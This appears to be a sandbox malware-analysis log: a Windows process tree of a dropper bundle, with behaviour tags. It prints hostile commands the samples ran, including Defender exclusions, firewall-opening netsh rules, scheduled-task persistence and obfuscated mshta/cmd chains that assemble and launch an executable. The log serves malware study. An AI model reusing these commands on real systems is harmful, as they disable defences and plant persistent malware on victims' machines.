C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"4⤵PID:6372
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe"4⤵PID:10176
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe"4⤵PID:9208
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"4⤵PID:5176
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force3⤵PID:10552
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\6067.exe" -Force3⤵PID:10724
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force3⤵PID:10912
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe"3⤵PID:11844
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe"3⤵PID:12120
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe"3⤵PID:6408
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵PID:2576
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"3⤵PID:5556
-
-
-
C:\Users\Admin\AppData\Local\Temp\B5EB.exeC:\Users\Admin\AppData\Local\Temp\B5EB.exe2⤵PID:8632
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8632 -s 4683⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:9416
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8632 -s 5043⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:10832
-
-
-
C:\Users\Admin\AppData\Local\Temp\D8A6.exeC:\Users\Admin\AppData\Local\Temp\D8A6.exe2⤵PID:9560
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9560 -s 2723⤵
- Program crash
- Enumerates system info in registry
PID:11360
-
-
-
C:\Users\Admin\AppData\Local\Temp\F690.exeC:\Users\Admin\AppData\Local\Temp\F690.exe2⤵PID:10272
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10272 -s 2803⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:1992
-
-
-
C:\Program Files (x86)\Wc2kdsr0\qjlkznh.exe"C:\Program Files (x86)\Wc2kdsr0\qjlkznh.exe"2⤵PID:6784
-
-
C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe 823c5b2d1cf36f1753528a06b90fd51e hdQ6rOIF00qh+vEi/yT33A.0.1.0.3.01⤵
- Modifies data under HKEY_USERS
PID:1944
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:4292
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4424 -
C:\Windows\uus\AMD64\MoUsoCoreWorker.exeC:\Windows\uus\AMD64\MoUsoCoreWorker.exe2⤵PID:2904
-
-
C:\Windows\uus\AMD64\MoUsoCoreWorker.exeC:\Windows\uus\AMD64\MoUsoCoreWorker.exe2⤵PID:10448
-
-
C:\Windows\uus\AMD64\MoUsoCoreWorker.exeC:\Windows\uus\AMD64\MoUsoCoreWorker.exe2⤵PID:11724
-
-
C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed0944361c3621a67a6.exeWed0944361c3621a67a6.exe1⤵
- Executes dropped EXE
PID:4668
-
C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed0968d19e5ec37794.exeWed0968d19e5ec37794.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2008 -
C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed0968d19e5ec37794.exeC:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed0968d19e5ec37794.exe2⤵
- Executes dropped EXE
PID:5736
-
-
C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09755e77ed017e8af.exeWed09755e77ed017e8af.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2188 -
C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09755e77ed017e8af.exeC:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09755e77ed017e8af.exe2⤵
- Executes dropped EXE
PID:5728
-
-
C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09f69eef9c0d5b.exeWed09f69eef9c0d5b.exe1⤵
- Executes dropped EXE
PID:2484 -
C:\Users\Admin\AppData\Local\Temp\is-50CN2.tmp\Wed09f69eef9c0d5b.tmp"C:\Users\Admin\AppData\Local\Temp\is-50CN2.tmp\Wed09f69eef9c0d5b.tmp" /SL5="$1020C,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09f69eef9c0d5b.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2608 -
C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09f69eef9c0d5b.exe"C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09f69eef9c0d5b.exe" /SILENT3⤵
- Executes dropped EXE
PID:5288 -
C:\Users\Admin\AppData\Local\Temp\is-TKHTN.tmp\Wed09f69eef9c0d5b.tmp"C:\Users\Admin\AppData\Local\Temp\is-TKHTN.tmp\Wed09f69eef9c0d5b.tmp" /SL5="$1022C,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09f69eef9c0d5b.exe" /SILENT4⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5432
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 2240 -ip 22401⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2680
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 1260 -ip 12601⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2208
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIPT:cloSE( CREAteoBJeCT ( "WScript.SHELL" ). ruN("C:\Windows\system32\cmd.exe /C copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed090db89ca4c58.exe"" ..\I8TaQYBpLsJ.ExE&&StarT ..\I8TAQYbpLSJ.eXe /PVbWtk2ZAwA &If """" == """" for %N IN ( ""C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed090db89ca4c58.exe"" ) do taskkill /f -IM ""%~nXN"" ", 0 , TRuE) )1⤵PID:916
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C copy /y "C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed090db89ca4c58.exe" ..\I8TaQYBpLsJ.ExE&&StarT ..\I8TAQYbpLSJ.eXe /PVbWtk2ZAwA&If ""== "" for %N IN ("C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed090db89ca4c58.exe" ) do taskkill /f -IM "%~nXN"2⤵PID:5632
-
C:\Users\Admin\AppData\Local\Temp\I8TaQYBpLsJ.ExE..\I8TAQYbpLSJ.eXe /PVbWtk2ZAwA3⤵
- Executes dropped EXE
PID:5712 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIPT:cloSE( CREAteoBJeCT ( "WScript.SHELL" ). ruN("C:\Windows\system32\cmd.exe /C copy /y ""C:\Users\Admin\AppData\Local\Temp\I8TaQYBpLsJ.ExE"" ..\I8TaQYBpLsJ.ExE&&StarT ..\I8TAQYbpLSJ.eXe /PVbWtk2ZAwA &If ""/PVbWtk2ZAwA"" == """" for %N IN ( ""C:\Users\Admin\AppData\Local\Temp\I8TaQYBpLsJ.ExE"" ) do taskkill /f -IM ""%~nXN"" ", 0 , TRuE) )4⤵PID:5816
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C copy /y "C:\Users\Admin\AppData\Local\Temp\I8TaQYBpLsJ.ExE" ..\I8TaQYBpLsJ.ExE&&StarT ..\I8TAQYbpLSJ.eXe /PVbWtk2ZAwA&If "/PVbWtk2ZAwA"== "" for %N IN ("C:\Users\Admin\AppData\Local\Temp\I8TaQYBpLsJ.ExE" ) do taskkill /f -IM "%~nXN"5⤵PID:5932
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCrIPT: cLOsE ( cREAtEobjEct( "wSCRIPT.SHEll").RUn( "C:\Windows\system32\cmd.exe /C eChO | SEt /P = ""MZ"" >PUVMYbL.81 & CopY /y /B PUVMYbl.81 + B0zcQ1x.o + 490lW~.x + LNOSCc5X.DT + Y2YAdQ.8~+ nPI8.L + Fbu1EQ9.~I ..\_ENU.W &Del /Q *& StaRT msiexec /y ..\_enU.W ",0 , True ))4⤵PID:5932
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C eChO | SEt /P = "MZ" >PUVMYbL.81&CopY /y /B PUVMYbl.81 +B0zcQ1x.o +490lW~.x + LNOSCc5X.DT + Y2YAdQ.8~+ nPI8.L + Fbu1EQ9.~I ..\_ENU.W&Del /Q *& StaRT msiexec /y ..\_enU.W5⤵PID:1604
-
C:\Windows\SysWOW64\msiexec.exemsiexec /y ..\_enU.W6⤵
- Loads dropped DLL
PID:6920
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SEt /P = "MZ" 1>PUVMYbL.81"6⤵PID:6696
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" eChO "6⤵PID:6688
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f -IM "Wed090db89ca4c58.exe"3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5844
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09fbe3bf81.exeWed09fbe3bf81.exe1⤵
- Executes dropped EXE
PID:1860 -
C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09fbe3bf81.exeC:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09fbe3bf81.exe2⤵
- Executes dropped EXE
PID:5720
-
-
C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09fbe3bf81.exeC:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09fbe3bf81.exe2⤵
- Executes dropped EXE
PID:5980
-
-
C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed09d761ab4704dd931.exeWed09d761ab4704dd931.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3496
-
C:\Users\Admin\AppData\Local\Temp\7zS8D5905A4\Wed0900caa0501dc98f.exeWed0900caa0501dc98f.exe1⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
PID:1416 -
C:\Users\Admin\Pictures\Adobe Films\5GbJABxusvW2Pz7AK6rUlrdV.exe"C:\Users\Admin\Pictures\Adobe Films\5GbJABxusvW2Pz7AK6rUlrdV.exe"2⤵
- Executes dropped EXE
PID:1340
-
-
C:\Users\Admin\Pictures\Adobe Films\y5FFPenTacrWG1BPf716r5iH.exe"C:\Users\Admin\Pictures\Adobe Films\y5FFPenTacrWG1BPf716r5iH.exe"2⤵
- Executes dropped EXE
PID:6140
-
-
C:\Users\Admin\Pictures\Adobe Films\u72LOaRxLgkK5IHOwYSqQlCm.exe"C:\Users\Admin\Pictures\Adobe Films\u72LOaRxLgkK5IHOwYSqQlCm.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:5988
-
-
C:\Users\Admin\Pictures\Adobe Films\D5jO5muoKL2QIbNiEfoop08_.exe"C:\Users\Admin\Pictures\Adobe Films\D5jO5muoKL2QIbNiEfoop08_.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5944
-
-
C:\Users\Admin\Pictures\Adobe Films\zzAXtJ3aS9abUWqkbmD7PY0t.exe"C:\Users\Admin\Pictures\Adobe Films\zzAXtJ3aS9abUWqkbmD7PY0t.exe"2⤵
- Executes dropped EXE
PID:2220 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2220 -s 3003⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:2516
-
-
-
C:\Users\Admin\Pictures\Adobe Films\iUX9Vg8QH5ULbR97OMgoiUpA.exe"C:\Users\Admin\Pictures\Adobe Films\iUX9Vg8QH5ULbR97OMgoiUpA.exe"2⤵
- Executes dropped EXE
PID:4756 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4756 -s 2803⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:6876
-
-
-
C:\Users\Admin\Pictures\Adobe Films\C2k7rTDY38qogzNci_bDbjGG.exe"C:\Users\Admin\Pictures\Adobe Films\C2k7rTDY38qogzNci_bDbjGG.exe"2⤵PID:6112
-
-
C:\Users\Admin\Pictures\Adobe Films\dgNxzyTAdrQxFN9vJ8n88DPi.exe"C:\Users\Admin\Pictures\Adobe Films\dgNxzyTAdrQxFN9vJ8n88DPi.exe"2⤵
- Executes dropped EXE
PID:5380 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5380 -s 3003⤵
- Program crash
PID:1628
-
-
-
C:\Users\Admin\Pictures\Adobe Films\E2t1dTST4wi9nETnfQ2vjtjw.exe"C:\Users\Admin\Pictures\Adobe Films\E2t1dTST4wi9nETnfQ2vjtjw.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5384
-
-
C:\Users\Admin\Pictures\Adobe Films\u61pEibZx55ZTcsGrpE4kjkv.exe"C:\Users\Admin\Pictures\Adobe Films\u61pEibZx55ZTcsGrpE4kjkv.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2612
-
-
C:\Users\Admin\Pictures\Adobe Films\z485zCgApYkB9GZalmCeDduF.exe"C:\Users\Admin\Pictures\Adobe Films\z485zCgApYkB9GZalmCeDduF.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:2940
-
-
C:\Users\Admin\Pictures\Adobe Films\O2e913GzFE0n9x332YZ0qWQ_.exe"C:\Users\Admin\Pictures\Adobe Films\O2e913GzFE0n9x332YZ0qWQ_.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1136 -
C:\Users\Admin\AppData\Local\Temp\xdsagfgdfgbbv.exe"C:\Users\Admin\AppData\Local\Temp\xdsagfgdfgbbv.exe"3⤵PID:3592
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpD0C4.tmp.cmd""4⤵PID:6972
-
C:\Windows\system32\timeout.exetimeout 45⤵
- Delays execution with timeout.exe
PID:1172
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /f /sc MINUTE /mo 1 /tn "XLiveDriverApiSound" /tr "'C:\ProgramData\DriverXLiveEditor\XLiveDriverApiSound.exe"'5⤵
- Creates scheduled task(s)
PID:5484
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\zb_GNN4ZicZJDYAaBv5ollkv.exe"C:\Users\Admin\Pictures\Adobe Films\zb_GNN4ZicZJDYAaBv5ollkv.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:5816 -
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"3⤵
- Executes dropped EXE
PID:4032
-
-
-
C:\Users\Admin\Pictures\Adobe Films\ffRY7NtW64kXHzYQ0dxEEoKs.exe"C:\Users\Admin\Pictures\Adobe Films\ffRY7NtW64kXHzYQ0dxEEoKs.exe"2⤵
- Executes dropped EXE
PID:5920 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5920 -s 9643⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:7072
-
-
-
C:\Users\Admin\Pictures\Adobe Films\5WkgWF4reGVRq9ZYLqh7v5gC.exe"C:\Users\Admin\Pictures\Adobe Films\5WkgWF4reGVRq9ZYLqh7v5gC.exe"2⤵
- Executes dropped EXE
PID:4040
-
-
C:\Users\Admin\Pictures\Adobe Films\_x9GiJzYDf9aJhmGn5Vb8S8w.exe"C:\Users\Admin\Pictures\Adobe Films\_x9GiJzYDf9aJhmGn5Vb8S8w.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5896
-
-
C:\Users\Admin\Pictures\Adobe Films\ayO1VtN_QSdi4l2DM937MXS0.exe"C:\Users\Admin\Pictures\Adobe Films\ayO1VtN_QSdi4l2DM937MXS0.exe"2⤵
- Executes dropped EXE
PID:1624
-
-
C:\Users\Admin\Pictures\Adobe Films\eXLCtZPPkxEwQmQj8pD33_AM.exe"C:\Users\Admin\Pictures\Adobe Films\eXLCtZPPkxEwQmQj8pD33_AM.exe"2⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:5840 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\3⤵PID:4976
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes3⤵PID:5868
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \3⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:660
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes3⤵PID:5800
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM3⤵
- Creates scheduled task(s)
PID:2760
-
-
C:\Windows\System\svchost.exe"C:\Windows\System\svchost.exe" formal3⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:2264 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\4⤵PID:2928
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \4⤵PID:6948
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes4⤵PID:1172
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes4⤵PID:4328
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\vEuOBV85K9pJ9VWlkcYMPjWC.exe"C:\Users\Admin\Pictures\Adobe Films\vEuOBV85K9pJ9VWlkcYMPjWC.exe"2⤵
- Executes dropped EXE
PID:3776
-
-
C:\Users\Admin\Pictures\Adobe Films\csjbW1FdgBaFTQt9GTdZ3kvx.exe"C:\Users\Admin\Pictures\Adobe Films\csjbW1FdgBaFTQt9GTdZ3kvx.exe"2⤵
- Executes dropped EXE
PID:2948 -
C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exeC:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
PID:2608 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"4⤵PID:7152
-
-
-
C:\Users\Admin\AppData\Roaming\Underdress.exeC:\Users\Admin\AppData\Roaming\Underdress.exe3⤵
- Executes dropped EXE
PID:6076 -
C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"4⤵
- Executes dropped EXE
PID:4784
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\f47U96v4E2xvAceZTVowo_Da.exe"C:\Users\Admin\Pictures\Adobe Films\f47U96v4E2xvAceZTVowo_Da.exe"2⤵
- Executes dropped EXE
PID:6124
-
-
C:\Users\Admin\Pictures\Adobe Films\DAol2sBwNgrYbgLIVYbajhxO.exe"C:\Users\Admin\Pictures\Adobe Films\DAol2sBwNgrYbgLIVYbajhxO.exe"2⤵
- Executes dropped EXE
PID:476 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 476 -s 3403⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:4636
-
-
-
C:\Users\Admin\Pictures\Adobe Films\YhE1IiHPA4dy8ccXNcMS2QFN.exe"C:\Users\Admin\Pictures\Adobe Films\YhE1IiHPA4dy8ccXNcMS2QFN.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2492 -
C:\Users\Admin\Pictures\Adobe Films\YhE1IiHPA4dy8ccXNcMS2QFN.exe"C:\Users\Admin\Pictures\Adobe Films\YhE1IiHPA4dy8ccXNcMS2QFN.exe"3⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:1472
-
-
-
C:\Users\Admin\Pictures\Adobe Films\rCEAlTAUmN5DqGRox3D7HhaA.exe"C:\Users\Admin\Pictures\Adobe Films\rCEAlTAUmN5DqGRox3D7HhaA.exe"2⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:5252 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:4760
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:6700
-
-
C:\Users\Admin\Documents\hyzZ04CeVAMup7RZLc9eHtE9.exe"C:\Users\Admin\Documents\hyzZ04CeVAMup7RZLc9eHtE9.exe"3⤵PID:6736
-
C:\Users\Admin\Pictures\Adobe Films\TMQ6LthiU8UkEpmnVrETqTvM.exe"C:\Users\Admin\Pictures\Adobe Films\TMQ6LthiU8UkEpmnVrETqTvM.exe"4⤵PID:6624
-
-
C:\Users\Admin\Pictures\Adobe Films\k39E9PbopFSHkyy_8xUul0st.exe"C:\Users\Admin\Pictures\Adobe Films\k39E9PbopFSHkyy_8xUul0st.exe"4⤵
- Executes dropped EXE
PID:6112
-
-
C:\Users\Admin\Pictures\Adobe Films\OzInUEiCTkIlLbEgAOE1H2S3.exe"C:\Users\Admin\Pictures\Adobe Films\OzInUEiCTkIlLbEgAOE1H2S3.exe"4⤵PID:3696
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3696 -s 3005⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5916
-
-
-
C:\Users\Admin\Pictures\Adobe Films\tmUEFXrrQlG7ZuV2tLtas74T.exe"C:\Users\Admin\Pictures\Adobe Films\tmUEFXrrQlG7ZuV2tLtas74T.exe"4⤵PID:3472
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3472 -s 2765⤵
- Program crash
PID:1592
-
-
-
C:\Users\Admin\Pictures\Adobe Films\ceXnM50PiqOC0dRI62_0aRFN.exe"C:\Users\Admin\Pictures\Adobe Films\ceXnM50PiqOC0dRI62_0aRFN.exe"4⤵PID:2844
-
-
C:\Users\Admin\Pictures\Adobe Films\VjxzGqRCZA0jrFd9MS8ituIz.exe"C:\Users\Admin\Pictures\Adobe Films\VjxzGqRCZA0jrFd9MS8ituIz.exe"4⤵PID:676
-
C:\Users\Admin\Pictures\Adobe Films\VjxzGqRCZA0jrFd9MS8ituIz.exe"C:\Users\Admin\Pictures\Adobe Films\VjxzGqRCZA0jrFd9MS8ituIz.exe" -u5⤵PID:5200
-
-
-
C:\Users\Admin\Pictures\Adobe Films\buGrO5_I0VyeWHsTdgPgm9Ex.exe"C:\Users\Admin\Pictures\Adobe Films\buGrO5_I0VyeWHsTdgPgm9Ex.exe"4⤵
- Loads dropped DLL
PID:4912
-
-
C:\Users\Admin\Pictures\Adobe Films\VWcW9lrNS1fOheXu_Z7OpJVv.exe"C:\Users\Admin\Pictures\Adobe Films\VWcW9lrNS1fOheXu_Z7OpJVv.exe"4⤵PID:2580
-
C:\Users\Admin\AppData\Local\Temp\is-IUT4E.tmp\VWcW9lrNS1fOheXu_Z7OpJVv.tmp"C:\Users\Admin\AppData\Local\Temp\is-IUT4E.tmp\VWcW9lrNS1fOheXu_Z7OpJVv.tmp" /SL5="$70456,506127,422400,C:\Users\Admin\Pictures\Adobe Films\VWcW9lrNS1fOheXu_Z7OpJVv.exe"5⤵
- Loads dropped DLL
PID:5356 -
C:\Users\Admin\AppData\Local\Temp\is-NO46A.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-NO46A.tmp\DYbALA.exe" /S /UID=27096⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Drops file in Program Files directory
PID:2336 -
C:\Users\Admin\AppData\Local\Temp\ce-ca5bc-c1a-987ba-f00d6c37cffff\Satobofimo.exe"C:\Users\Admin\AppData\Local\Temp\ce-ca5bc-c1a-987ba-f00d6c37cffff\Satobofimo.exe"7⤵PID:5424
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e68⤵
- Adds Run key to start application
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
PID:6180 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffcc19b46f8,0x7ffcc19b4708,0x7ffcc19b47189⤵PID:5844
-
-
